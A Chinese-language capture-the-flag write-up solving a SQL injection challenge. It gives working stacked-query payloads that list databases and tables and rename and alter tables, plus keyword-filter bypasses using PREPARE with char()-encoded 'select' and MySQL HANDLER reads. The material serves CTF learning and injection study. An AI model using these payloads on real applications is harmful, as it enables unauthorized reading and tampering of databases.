目录
信息收集
方法一:堆叠注入
方法二:MySQL预处理
语法
payload
方法三:handler
知识点
语法
payload
信息收集
1'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1说明是单引号闭合
1' or 1=1;#存在sql注入漏洞
1' order by 3;# Unknown column '3' in 'order clause'说明只有两列
-1' union select 1,database() # return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);回显为过滤规则
因为这里select被禁用,考虑使用堆叠注入
方法一:堆叠注入
- 数据库名
1';show databases;#
- 获取表名
1'; show tables;#
- 获取列名
1'; show columns from words;#
1'; show columns from `1919810931114514`;#1919810931114514必须用反单引号括起来,不然出错
这里来说明一下原因:
在mysql中查询纯数字和关键字的列名、表名时必须加``
提示大家做列名和表名的时候不能用mysql中的关键字。
words表里有两个属性:id 和data
而1919810931114514表里只有一个属性
后台sql语句可能为 select * from words where id=$inject
注入1' or 1=1;#后sql语句变为
select * from words where id=‘ 1’ or 1=1 # ’
- 修改名称
1';rename table words to myword;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
看了大佬写的wp,发现还有很多姿势可以更快拿到flag,简单记录下大佬的思路
方法二:MySQL预处理
语法
# 定义预处理语句 PREPARE stmt_name FROM preparable_stmt; # 执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name] ...]; # 删除(释放)定义 {DEALLOCATE | DROP} PREPARE stmt_name;
- 准备预处理语句
prepare sql_1 from "select * from pdo";
execute sql_1;
drop prepare sql_1;
- 定义参数变量
set @id=2;
execute sql_2 using @id; --选出id=2的信息
- 综合案例
prepare sql_2 from "select * from coleak where id > ? && age > ?";
set @id=2;
set @age=30;
execute sql_2 using @id,@age;
concat(),函数用于字符串拼接。
char(),将ASCII码转换为对应的字符。
payload
1';SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`"); PREPARE yuchuli from @sql; EXECUTE yuchuli;
因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。
然后用concat()拼接成一句完整的sql语句。
先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。
方法三:handler
知识点
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
语法
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。 通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 通过HANDLER tbl_name CLOSE来关闭打开的句柄。
HANDLER tbl_name READ index_name = value指定从哪一行开始,通过NEXT继续浏览。
payload
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#